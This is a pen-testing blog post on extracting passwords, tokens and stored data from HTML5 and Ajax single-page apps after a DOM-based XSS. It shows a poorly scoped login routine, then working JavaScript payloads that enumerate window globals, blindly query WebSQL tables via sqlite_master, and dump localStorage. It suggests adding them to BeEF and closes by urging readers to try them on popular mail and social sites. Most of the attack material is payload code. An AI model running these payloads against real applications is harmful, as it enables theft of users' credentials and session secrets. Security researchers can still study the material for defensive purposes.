Password extraction from Ajax/DOM/HTML5 routine – Poor programming calls


Login Ajax routine is an interesting place to check for variable definition and assignments with respect to "single DOM application"/HTML5/Web2.0 framework. If variables are not created with proper scope then can be accessed as global and contain interesting information like username, password, tokens etc. Interestingly we need to do lot of JavaScript analysis with Web 2.0, Ajax, HTML5 and Single DOM applications.

For example, here is a routine for login. It can be buried in one of the JS files but gets loaded on DOM at the point of call and remain there throughout application life cycle.

function getLogin()
{

gb = gb+1;
var user = document.frmlogin.txtuser.value;
var pwd = document.frmlogin.txtpwd.value;
var xmlhttp=false;
        try  { 
         xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
           // other code for XHR initialization
                         
        }
       
        temp = "login.do?user="+user+"&pwd="+pwd;
        xmlhttp.open("GET",temp,true);
        xmlhttp.onreadystatechange=function()
               {   
                // other code on state ready change                                          
                                       
               }      
        xmlhttp.send(null);
}

Here, temp variable is crafting URL and posting username and password for Ajax call. It can be part of POST if going through send(). “temp” variable is very loosely defined as global and can be accessed from the DOM.
It is easy to access those variables from DOM – Yes, need DOM based XSS but coding practice is poor over here. Payload to exploit the vulnerability…

for(i in window){
    obj=window[i];
     try{
            if(typeof(obj)=="string"){
                console.log(i);
                console.log(obj.toString());
            }
        }catch(ex){}
}

You will get “temp” variable with following value - login.do?user=foo&pwd=foobar.

Blind WebSQL and Storage extraction for HTML5 Apps


HTML5 is having two important data points – WebSQL and Storage. They are controlled by well defined RFCs and specifications. These APIs can be accessed using JavaScript. Assuming we get an entry into DOM then also we are completely blind with WebSQL table names and storage keys. Here is a way to enumerate that data during pen-testing and assessments.

Blind WebSQL Enumeration

We need following information to extract target content.

1.       Database object
2.       Table structure created on SQLite
3.       User table on which we need to run select query

Here is the script which can harvest database with zero knowledge

var dbo;
var table;
var usertable;
for(i in window){
                obj = window[i];
                try{
                                if(obj.constructor.name=="Database"){
                                                dbo = obj;
                                                                obj.transaction(function(tx){
                                                                tx.executeSql('SELECT name FROM sqlite_master WHERE type=\'table\'',[],function(tx,results){
                                                                                table=results;                                                                                                                                      
                                                                },null);
                                                });
                                }
                }catch(ex){}
}
if(table.rows.length>1)
                usertable=table.rows.item(1).name;

a.)    We will run through all objects and get object where constructor is “Database”
b.)    We will make Select query directly to sqlite_master database
c.)     We will grab 1st table leaving webkit table on 0th entry

We got the actual table name residing on WebSQL for this application, next we can run SQL query and loop through results.

We got the name of the table and now we can use same database object to run the query through script.


Hence, it can be part of payload during testing to fetch data remotely.

Blind Storage Enumeration

Storage enumeration is relatively easy, We can check for object length for local or session storage and if it is not zero run a loop and get all values. We can use following code for localStorage.

if(localStorage.length){
                console.log(localStorage.length)
                for(i in localStorage){
                                console.log(i)
                                console.log(localStorage.getItem(i));
                }
}

Here is the output for the call.



Global Sensitive Information Extraction from DOM – post DOM based XSS


DOM centered single page HTML5 and Web 2.0 applications are using GLOBAL variables to manage client side critical information. During consulting we have seen few applications managing client side session data on GLOBALS. These global objects are using JSON or Array. In some cases they are string as well.

For example,
Once user gets authenticated it gets a Script tag and along with an array like below to set global set of variables.

var arrayGlobals = ['my@email.com',"12141hewvsdr9321343423mjfdvint","test.com"];

In many cases it has sensitive information like tokens, public profile URLs, private URLs for information access, cross domain oAuth values, user/pass as temp variables etc. It has interesting set of information and it can be extracted in case of DOM based XSS. These DOM driven applications are single page and these set of values are accessible across application life cycle.

Here is an example of extracting JSON, Array and string from browser. It can be used as part of XSS testing and exploitation once it is found. It is interesting to add in XSS exploitation tools like BeeF. We are using it with node.js and customized payload for our routine test cases.

Below script will look for object and using JSON.stringfy for Firefox only else jquery plugin can help.

for(i in window){
    obj=window[i];
    if(obj!=null||obj!=undefined)
        var type = typeof(obj);
        if(type=="object"||type=="string")
        {
                console.log("Name:"+i)
                try{
                    my=JSON.stringify(obj);
                    console.log(my)
                }catch(ex){}  
         }
}

Just to fetch extracted values we are running in firebug and redirecting on console.






Really interesting stuff – check with your popular mailing and social networking sites.